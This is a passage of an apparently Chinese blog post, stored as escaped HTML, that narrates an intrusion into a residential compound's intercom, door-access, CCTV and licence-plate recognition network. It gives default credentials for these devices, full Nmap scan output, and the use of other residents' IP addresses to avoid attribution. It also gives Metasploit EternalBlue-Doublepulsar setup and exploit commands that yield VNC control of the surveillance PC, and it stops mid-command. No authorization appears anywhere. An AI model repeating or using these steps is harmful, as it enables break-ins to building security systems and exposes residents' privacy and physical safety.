c\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u4f60\u731c\u7684\u6ca1\u9519\uff0c\u54b1\u4eec\u6574\u4e2a\u6e17\u900f\u6d4b\u8bd5\u8fc7\u7a0b\u5c31\u4ece\u8fd9\u4e2a\u8bbe\u5907\u5f00\u59cb\uff0c\u5148\u6765\u770b\u770b\u54b1\u4eec\u8fd9\u4e2a\u5389\u5bb3\u7684\u53ef\u89c6\u5bf9\u8bb2\u673a\u957f\u4ec0\u4e48\u6837</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=641\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/d9ee139a63e2108b9f5d698ae1054457.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180521153517.jpg - \u5927\u5c0f: 95.61 KB - \u5c3a\u5bf8: 900 x 508 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"508\"></a></div>\u901a\u8fc7\u7f3a\u7701\u5f31\u53e3\u4ee4\u8fdb\u5165\u5de5\u7a0b\u6a21\u5f0f\uff0c\u62ff\u5230ip\u5730\u5740\uff0c\u7f51\u5173\u8fd8\u6709\u670d\u52a1\u5668\u5730\u5740<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=642\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/258a65c781fa1fe68c4a37c538b8d3af.jpg\" alt=\"p80312-171124.jpg - \u5927\u5c0f: 145.86 KB - \u5c3a\u5bf8: 824 x 439 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"824\" height=\"439\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=643\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/f33f3e5b4c9484c8eca863c8a7f2c5bc.jpg\" alt=\"p80312-171153.jpg - \u5927\u5c0f: 484.84 KB - \u5c3a\u5bf8: 900 x 563 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"563\"></a></div>\u62c6\u4e0b\u5bf9\u8bb2\u673a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=644\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/457cc84da90b8cccff681919e6a7d530.jpg\" alt=\"p80319-164923.jpg - \u5927\u5c0f: 316.73 KB - \u5c3a\u5bf8: 900 x 681 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"681\"></a></div>\u6211\u64e6\u561e\uff0c\u8fd9\u7f51\u7ebf\u4e5f\u592a\u77ed\u4e86\u5427\uff0c\u4e0a\u5de5\u5177<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=646\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/df4a006dc9534bc69cac32035d73ac06.jpg\" alt=\"p80319-165232.jpg - \u5927\u5c0f: 317.59 KB - \u5c3a\u5bf8: 900 x 619 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"619\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=647\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/75e3f703e1f8be6bca5cebdace9f431f.jpg\" alt=\"p80319-171804.jpg - \u5927\u5c0f: 608.52 KB - \u5c3a\u5bf8: 900 x 1057 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"767\" height=\"900\"></a></div>\u628a\u7f51\u7ebf\u8fdb\u884c\u5ef6\u957f\u65b9\u4fbf\u63a5\u4ea4\u6362\u673a\u3001\u8def\u7531\u5668\u3001\u7b14\u8bb0\u672c\u4e4b\u7c7b\u7684\u8bbe\u5907\uff0c\u6700\u540e\u786e\u8ba4\u4e0b\u901a\u8baf\u662f\u5426\u6b63\u786e<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=648\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/45ad78e96d252b8ba52eb53708306291.jpg\" alt=\"p80319-172001.jpg - \u5927\u5c0f: 709.62 KB - \u5c3a\u5bf8: 900 x 1197 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"677\" height=\"900\"></a></div>\u57fa\u672c\u51c6\u5907\u5de5\u4f5c\u641e\u5b9a\u4e4b\u540e\u5c31\u5f00\u59cb\u8fdb\u884c\u5165\u4fb5\u6e17\u900f\u4e86\u3002\r\n\r\n<h2>\r\n\t\u626b\u63cf\r\n</h2>\r\n<p>\r\n\t\u6839\u636e\u4e4b\u524d\u64b8\u5149\u732b\u5185\u7f51\u7684\u7ecf\u9a8c\uff0c\u8fd9\u91cc\u7684IP\u5730\u5740\u80af\u5b9a\u662f\u56fa\u5b9a\u7684\uff0c\u800c\u4e14\u8ddf\u4f4f\u6237\u53f7\u662f\u7ed1\u5b9a\u7684\uff0c\u5982\u679c\u4f7f\u7528\u81ea\u5df1\u7684iP\u5730\u5740\u8fdb\u884c\u6d4b\u8bd5\uff0c\u4e07\u4e00\u51fa\u5565\u95ee\u9898\u90a3\u4e0d\u662f\u975e\u5e38\u7684\u5c34\u5c2c\uff0c\u65e2\u7136\u73b0\u5728\u5f88\u591a\u4e1a\u4e3b\u90fd\u8fd8\u6ca1\u6709\u5165\u4f4f\uff0c\u90a3\u4e48IP\u5730\u5740\u6c60\u4e5f\u6709\u5f88\u591a\u7684\u7a7a\u95f2\uff0c\u5c31\u4f7f\u7528\u5176\u4ed6\u4f4f\u6237\u7684IP\u5730\u5740\u5427\uff0c\u53ea\u8981\u4e0d\u51b2\u7a81\u5c31\u884c\uff0c\u8bf4\u5e72\u5c31\u5e72\uff0c\u4e0a\u88c5\u5907\uff1a\r\n</p>\r\n<p>\r\n\t\u4e00\u4e2a\u5145\u7535\u5b9d\u3001\u4e00\u4e2a\u8def\u7531\u5668\u3001\u4e00\u53f0\u7b14\u8bb0\u672c</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=649\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/d3187104ad370442f27aaa0423a8ef27.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180521155613.jpg - \u5927\u5c0f: 552.77 KB - \u5c3a\u5bf8: 900 x 1107 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"732\" height=\"900\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=650\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/0fc16177df01f8ab0100d6a611a085f4.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180521155618.jpg - \u5927\u5c0f: 635.75 KB - \u5c3a\u5bf8: 900 x 1026 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"790\" height=\"900\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=651\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/bef572f11804cee6c46319fbc6ec1446.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180521155623.jpg - \u5927\u5c0f: 819.82 KB - \u5c3a\u5bf8: 900 x 1270 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"638\" height=\"900\"></a></div>\u901a\u7535\u540e\u8bbe\u7f6e\u8def\u7531\u5668\u7684\u56fa\u5b9aIP<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=652\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/0a77fa28a28681d29483038ff8437fa0.png\" alt=\"screenshot from 2018-05-18 19-06-00.png - \u5927\u5c0f: 68.79 KB - \u5c3a\u5bf8: 712 x 500 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"712\" height=\"500\"></a></div>\u8fd9\u6837\u7b14\u8bb0\u672c\u901a\u8fc7\u65e0\u7ebfwifi\u5c31\u53ef\u4ee5\u5bf9IP\u6bb5\u8fdb\u884c\u626b\u63cf\u4e86\uff0c\u6211\u8fd9\u4f7f\u7528\u7684\u626b\u63cf\u8f6f\u4ef6\u662fAngry IP Scanner\uff0c\u56fe\u5f62\u754c\u9762\u7528\u8d77\u6765\u5f88\u723d\uff0c\u800c\u4e14\u901f\u5ea6\u4e5f\u5feb<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=653\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/ae1bac9f68e9744d22e5c9932faa9f45.png\" alt=\"screenshot from 2018-05-18 22-10-17.png - \u5927\u5c0f: 297.48 KB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div>\u5bf9192.165.0.1/16\u8fdb\u884c\u626b\u63cf\u53d1\u73b0\u5b58\u6d3b\u4e3b\u673a1256\u4e2a\uff0c\u4e3a\u4e86\u5bf9IP\u5730\u5740\u5feb\u901f\u5206\u7c7b\uff0c\u5c06\u5b58\u6d3b\u7684IP\u5730\u5740\u5168\u90e8\u5bfc\u51fa\uff0c\u7f16\u5199python\u811a\u672c\u5bf9ip\u7684http\u54cd\u5e94\u5934\u8fdb\u884c\u5206\u7c7b\uff0c\u6700\u7ec8\u5206\u4e3a\u4e0b\u9762\u7684\u8fd9\u51e0\u7c7b\uff1a\r\n\r\n<h3>\r\n\t\u7b2c\u4e00\u7c7b\r\n</h3>\r\n<pre class=\"brush:bash;\">mini_httpd/1.19 19dec2003</pre>\r\n\u8fd9\u4e00\u7c7b\u673a\u5668\u662f\u6240\u6709\u7684\u95e8\u7981\u673a\uff0c\u5305\u542b\u4e86\u4f4f\u6237\u5bb6\u91cc\u7684\u5bf9\u8bb2\u673a\uff0c\u697c\u680b\u5927\u5802\u7684\u95e8\u7981\u673a\uff0c\u8f66\u5e93\u7535\u68af\u7684\u95e8\u7981\u673a\uff0c\u5c0f\u533a\u5927\u95e8\u7684\u95e8\u7981\u673a\uff0c\u901a\u8fc7ip\u5730\u5740\u4ee5\u53caadmin / 123456\u5f31\u53e3\u4ee4\u53ef\u4ee5\u8fdc\u7a0b\u63a7\u5236\uff0c\u540c\u65f6telnet\u4e5f\u53ef\u4ee5\u8fde\u63a5\uff0c\u7ba1\u7406\u9875\u9762\u529f\u80fd\u5f88\u5168\uff0c\u5305\u62ec\u4fee\u6539\u5bc6\u7801\uff0c\u63a7\u5236\u5f00\u95e8\u65f6\u95f4\uff0c\u63a7\u5236\u95e8\u7981\u673a\u5bc6\u7801\uff0c\u547c\u53eb\u4f4f\u6237\uff0c\u547c\u53eb\u7269\u4e1a\u4e2d\u5fc3\uff0c\u6062\u590d\u51fa\u5382\u8bbe\u7f6e\u7b49\u7b49\uff0c\u529f\u80fd\u4e30\u5bcc\uff0c\u754c\u9762\u5982\u4e0b<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=654\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/773bd156cc66d4dcbeca1a3bd4c07320.png\" alt=\"2018-05-21 16-15-41 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 122.37 KB - \u5c3a\u5bf8: 916 x 583 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"573\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=655\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/d3a5901c9ea2b273c6c63d9e6297f2fa.png\" alt=\"\u5c4f\u5e55\u622a\u56fe 2018-04-16 11.02.12.png - \u5927\u5c0f: 88.98 KB - \u5c3a\u5bf8: 901 x 503 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"503\"></a></div>\r\n<h3>\r\n\t\u7b2c\u4e8c\u7c7b\r\n</h3>\r\n<pre class=\"brush:bash;\">DNVRS-Webs\r\nHikvision-webs/ \r\nApp-webs/ </pre>\r\n<p>\r\n\t\u8fd9\u4e09\u79cd\u90fd\u662f\u6d77\u5eb7\u5a01\u89c6\u7684\u76d1\u63a7\u63a2\u5934\uff0c\u767b\u5f55\u754c\u9762\u6709\u4ee5\u4e0b\u51e0\u79cd</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=656\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/49e2f475f8da2e3cc4390591ab29ff30.png\" alt=\"2018-05-21 16-26-44 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 213.71 KB - \u5c3a\u5bf8: 1116 x 661 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"534\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=657\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/6e33f3c69253015d3d6177d436c23d1b.png\" alt=\"2018-05-21 16-33-36 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 98.26 KB - \u5c3a\u5bf8: 1116 x 661 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"534\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=658\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/ec8018b354ad0da8e3b8722ac83ada79.png\" alt=\"2018-05-21 16-48-21 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 117.88 KB - \u5c3a\u5bf8: 1335 x 704 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"475\"></a></div>\u53ea\u6709\u4e2d\u95f4\u90a3\u79cd\u53ef\u4ee5\u65e0\u9650\u6b21\u8f93\u9519\u5bc6\u7801\u8fdb\u884c\u7206\u7834\uff0c\u5176\u4ed6\u4e24\u79cd\u90fd\u662f\u8f93\u9519\u4e94\u6b21\u5c31\u9501\u5b9a\r\n\r\n<h3>\r\n\t\u7b2c\u4e09\u7c7b\r\n</h3>\r\n<pre class=\"brush:bash;\">Net Keybord-Webs</pre>\r\n<p>\r\n\t\u8fd9\u662f\u4e00\u4e2a\u7f51\u7edc\u952e\u76d8\uff0c\u901a\u5e38\u7528\u4e8e\u64cd\u4f5c\u76d1\u63a7\u7684\u4e91\u53f0\u8f6c\u52a8\uff0c\u6bd4\u5982\u7403\u673a\u7684\u64cd\u4f5c\u6746\uff0c\u767b\u5f55\u754c\u9762</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=659\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/ac6172e671f08f8a35287131ded98754.png\" alt=\"2018-05-21 16-32-57 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 34.85 KB - \u5c3a\u5bf8: 1116 x 661 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"534\"></a></div>\u5bc6\u7801\u8f93\u95196\u6b21\u5c31\u9501\u5b9a\u3002\r\n\r\n<h3>\r\n\t\u7b2c\u56db\u7c7b\r\n</h3>\r\n<pre class=\"brush:bash;\">Boa/0.94.13</pre>\r\n<p>\r\n\t\u8fd9\u4e2a\u5c31\u6709\u610f\u601d\u4e86\uff0c\u8fd9\u662f\u8f66\u724c\u8bc6\u522b\u7cfb\u7edf\uff0c\u8f66\u8f86\u5165\u5e93\u7684\u65f6\u5019\u8fdb\u884c\u8f66\u724c\u8bc6\u522b\uff0c\u62cd\u7167\u5b58\u50a8\u7684\u673a\u5668\uff0c\u4e5f\u662f\u5168\u90e8admin admin\u5f31\u53e3\u4ee4\u76f4\u63a5\u767b\u5f55\uff0c\u91cc\u9762\u5b58\u50a8\u4e86\u4e9b\u5565\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u653e\u4e24\u5f20\u56fe\u5927\u5bb6\u968f\u610f\u611f\u53d7\u4e0b</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=660\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/66b2ed3a453a052758a6162b58b9b135.png\" alt=\"2018-05-21 16-38-26 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 31.41 KB - \u5c3a\u5bf8: 1181 x 704 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"537\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=661\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/08397e3a61d2a1d7e208a8aa6322e4ff.png\" alt=\"2018-05-21 16-39-06 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 522.09 KB - \u5c3a\u5bf8: 1335 x 704 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"475\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=662\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/3fd8f1bbbe5084d71c65b2ef4ec82af8.png\" alt=\"2018-05-21 16-39-29 \u7684\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 65.98 KB - \u5c3a\u5bf8: 1335 x 704 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"475\"></a></div>\r\n\r\n<p>\r\n\t\u901a\u8fc7\u5bf9\u8fd9\u51e0\u79cd\u8bbe\u5907\u7684\u5f52\u7c7b\u626b\u63cf\uff0c\u6700\u7ec8\u786e\u5b9a\u4e86\u51e0\u53f0windows\u670d\u52a1\u5668\r\n</p>\r\n<pre class=\"brush:bash;\">192.165.15.174\r\n192.165.15.177\r\n192.165.15.190\r\n192.165.15.200\r\n192.165.30.2</pre>\r\n<p>\r\n\t\u4f7f\u7528Nmap\u626b\u63cf\u7ed3\u679c\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\"># Nmap 7.70 scan initiated Fri May 18 23:51:30 2018 as: nmap -iL something_ip.txt -oN scaned.txt -T4 --open\r\nNmap scan report for 192.165.15.174\r\nHost is up (0.063s latency).\r\nNot shown: 990 closed ports\r\nPORT STATE SERVICE\r\n135/tcp open msrpc\r\n139/tcp open netbios-ssn\r\n445/tcp open microsoft-ds\r\n1433/tcp open ms-sql-s\r\n2383/tcp open ms-olap4\r\n49152/tcp open unknown\r\n49153/tcp open unknown\r\n49154/tcp open unknown\r\n49155/tcp open unknown\r\n49156/tcp open unknown\r\n\r\nNmap scan report for 192.165.15.190\r\nHost is up (0.046s latency).\r\nNot shown: 992 closed ports\r\nPORT STATE SERVICE\r\n135/tcp open msrpc\r\n139/tcp open netbios-ssn\r\n445/tcp open microsoft-ds\r\n49152/tcp open unknown\r\n49153/tcp open unknown\r\n49154/tcp open unknown\r\n49155/tcp open unknown\r\n49156/tcp open unknown\r\n\r\nNmap scan report for 192.165.15.200\r\nHost is up (0.030s latency).\r\nNot shown: 991 closed ports\r\nPORT STATE SERVICE\r\n135/tcp open msrpc\r\n139/tcp open netbios-ssn\r\n445/tcp open microsoft-ds\r\n49152/tcp open unknown\r\n49153/tcp open unknown\r\n49154/tcp open unknown\r\n49155/tcp open unknown\r\n49156/tcp open unknown\r\n49157/tcp open unknown\r\n\r\nNmap scan report for 192.165.30.2\r\nHost is up (0.064s latency).\r\nNot shown: 990 closed ports\r\nPORT STATE SERVICE\r\n135/tcp open msrpc\r\n139/tcp open netbios-ssn\r\n445/tcp open microsoft-ds\r\n3389/tcp open ms-wbt-server\r\n49152/tcp open unknown\r\n49153/tcp open unknown\r\n49154/tcp open unknown\r\n49155/tcp open unknown\r\n49156/tcp open unknown\r\n49157/tcp open unknown\r\n\r\n# Nmap done at Fri May 18 23:51:46 2018 -- 5 IP addresses (4 hosts up) scanned in 16.25 seconds</pre>\r\n<p>\r\n\t\u5f88\u660e\u663e\uff0c\u56db\u53f0\u673a\u5668\u90fd\u5f00\u4e86445\u7aef\u53e3\uff0c\u5176\u4e2d\u00a0<span style=\"white-space:nowrap;\">192.165.15.174 \u5f00\u4e861433\u7aef\u53e3\uff0c\u660e\u663e\u662fsql server\u6570\u636e\u5e93\uff0c192.165.30.2\u8fd8\u5f00\u4e863389\uff0c\u8fd9\u53f0\u673a\u5668\u662f\u5728\u95e8\u7981\u673a\u91cc\u9762\u89c1\u8fc7\uff0c\u662f\u95e8\u7981\u7cfb\u7edf\u7684\u670d\u52a1\u5668\u3002</span> \r\n</p>\r\n<p>\r\n\t\u4e0b\u9762\u5c31\u91cd\u70b9\u5bf9\u8fd9\u51e0\u53f0\u673a\u5668\u5165\u624b\uff0c\u4f7f\u7528msf\u626b\u63cf\u4e0b\u770b\u662f\u4e0d\u662f\u90fd\u5b58\u5728smb\u6f0f\u6d1e\uff08ms17_010\uff09\uff0c\u8fd9\u6f0f\u6d1e\u5728\u5c40\u57df\u7f51\u771f\u7684\u8d85\u7ea7\u597d\u7528\uff0c\u626b\u63cf\u622a\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=663\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/584f085c27c67dd5aadb3bd1f76786e0.png\" alt=\"screenshot from 2018-05-21 11-20-26.png - \u5927\u5c0f: 224.4 KB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div>\u53d1\u73b0\u53ea\u6709192.165.15.174 \u4e0d\u5b58\u5728ms17_010\uff0c\u5176\u4ed6\u4e09\u53f0\u90fd\u5b58\u5728\uff0c\u64cd\u4f5c\u7cfb\u7edf\u5206\u522b\u662f\r\n\r\n<p>\r\n\t192.165.15.190 win7 sp1 x86\r\n</p>\r\n<p>\r\n\t192.165.15.200 win7 sp1 x64\r\n</p>\r\n<p>\r\n\t192.165.30.2 win7 sp1 x86\r\n</p>\r\n<p>\r\n\t\u73b0\u5728\u76ee\u6807\u5c31\u975e\u5e38\u660e\u786e\u4e86\uff0c\u4f46\u662f\u6709\u4e2a\u95ee\u9898\uff0cmsf\u81ea\u5e26\u7684\u5229\u7528\u6a21\u5757\u53ea\u9488\u5bf9x64\u7248\u672c\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5bf9\u4e8ex86\u7248\u672c\u7684\u7cfb\u7edf\u53ea\u80fd\u4f7f\u7528\u5176\u4ed6\u5de5\u5177\uff0cemmmmm....\r\n</p>\r\n<p>\r\n\t\u4e00\u9635\u601d\u8003\u4e4b\u540e\uff0c\u535a\u4e3b\u51b3\u5b9a\u5148\u641e\u5b9a\u90a3\u53f064\u4f4dwin7\uff0c\u4e3a\u4e86\u80fd\u591f\u6b63\u5e38\u7684\u53cd\u5f39shell\u56de\u6765\uff0c\u6211\u628a\u8def\u7531\u5668\u6539\u6210\u6865\u63a5\u6a21\u5f0f\uff0c\u672c\u673a\u7535\u8111\u8bbe\u7f6e\u56fa\u5b9aIP\uff0c\u8fd9\u6837\u6211\u7684\u673a\u5668\u5c31\u8ddf\u76ee\u6807\u673a\u5668\u5904\u4e8e\u76f8\u540c\u7f51\u7edc\u62d3\u6251\uff0c\u53cd\u5f39\u81ea\u7136\u65e0\u538b\u529b</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=669\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/84b4429e976a962274b3718cdc0de887.png\" alt=\"screenshot from 2018-05-19 00-01-27.png - \u5927\u5c0f: 31.02 KB - \u5c3a\u5bf8: 574 x 519 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"574\" height=\"519\"></a></div>so...\r\n\r\n<p>\r\n\tmsf\u7684\u7528\u6cd5\u6211\u8fd9\u91cc\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u5982\u679c\u771f\u4e0d\u77e5\u9053\uff0c\u53ef\u4ee5\u7559\u8a00...\u7ed9\u51fa\u4e00\u5f20run vnc\u7684\u622a\u56fe\uff0c\u62ff\u4e0b\u76d1\u63a7\u7cfb\u7edf</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=664\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/b334ab1a63170f9cb2782241c496b3e4.png\" alt=\"screenshot from 2018-05-19 01-47-41.png - \u5927\u5c0f: 1.23 MB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=665\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/f3c5c47c54b231772f872d314f03bb76.png\" alt=\"screenshot from 2018-05-19 01-55-37.png - \u5927\u5c0f: 1.12 MB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=666\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/34d3b0183697554c5ec1d935a676f249.png\" alt=\"screenshot from 2018-05-19 02-30-00.png - \u5927\u5c0f: 1.07 MB - \u5c3a\u5bf8: 1366 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"507\"></a></div>\u6709\u8da3\u7684\u662f\u8fd9\u53f0\u673a\u5668\u4e0a\u5c45\u7136\u5b89\u88c5\u4e86360\u5b89\u5168\u536b\u58eb...\r\n\r\n<p>\r\n\t\u6ce8\u610f\u770b\u4e0a\u9762\u4e00\u5f20\u56fe\u7684\u90a3\u4e2a\u76d1\u63a7\u5ba4\uff0c\u7ba1\u7406\u5458\u9762\u524d\u6709\u4e09\u53f0\u673a\u5668\uff0c\u6240\u4ee5\u53e6\u5916\u4e24\u53f0\u6211\u4e0b\u4e00\u6b65\u5c31\u8981\u641e\u5b9a\u3002\r\n</p>\r\n<p>\r\n\t\u4e0a\u9762\u8bf464\u4f4dwin7\u5df2\u7ecf\u62ff\u4e0b\uff0c\u73b0\u5728\u641e\u5b9a32\u4f4d\u673a\u5668\uff0c\u4f7f\u7528 https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit \u8fd9\u91cc\u7684Ruby\u811a\u672c\u5373\u53ef\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u672c\u673a\u662fkali 64\u4f4d\u7684\u9700\u8981\u5b89\u88c5 wine32\uff0c\u5b89\u88c5\u65b9\u6cd5\u662f\r\n</p>\r\n<pre class=\"brush:bash;\">dpkg --add-architecture i386 && apt-get update && apt-get install wine32</pre>\r\n<p>\r\n\t\u800c\u4e14\u5168\u7a0b\u64cd\u4f5c\u9700\u8981\u5728root\u4e0b\u9762\uff0c\u5b89\u88c5\u5b8cwine32\u540e\u6267\u884c\u4e00\u4e0b wine32 cmd.exe \u8fd9\u6837\u4f1a\u81ea\u52a8\u5728/root\u4e0b\u9762\u521b\u5efa.wine\u76ee\u5f55\uff0c\u8fd9\u4e2a\u76ee\u5f55msf\u4f1a\u7528\u5230\r\n</p>\r\n<p>\r\n\t\u4f7f\u7528\u00a0\r\n</p>\r\n<pre class=\"brush:bash;\">git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git</pre>\r\n<p>\r\n\t\u5c06\u811a\u672c\u514b\u9686\u5230\u672c\u5730\uff0c\u7136\u540e\u628a\u76ee\u5f55\u4e0b\u7684deps \u76ee\u5f55\u548crb\u6587\u4ef6\u590d\u5236\u5230msf\u7684modules\u8def\u5f84\u4e0b\uff0c\u8fd9\u6837\u65e2\u53ef\u4ee5\u4f7f\u7528\u4e86\uff08PS\uff1a\u6211\u8fd9\u91cc\u53ea\u590d\u5236\u4e86rb\u811a\u672c\uff0cdeps\u6ca1\u6709\u590d\u5236\u8fc7\u53bb\u6240\u4ee5\u547d\u4ee4\u4e0d\u592a\u4e00\u6837\uff09\uff0c\u5177\u4f53\u547d\u4ee4\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">msf > use exploit/windows/smb/eternalblue_doublepulsar\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set ETERNALBLUEPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/\r\nETERNALBLUEPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/\r\nmsf exploit(windows/smb/eternalblue_doublepulsar) > set DOUBLEPULSARPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/\r\nDOUBLEPULSARPATH => 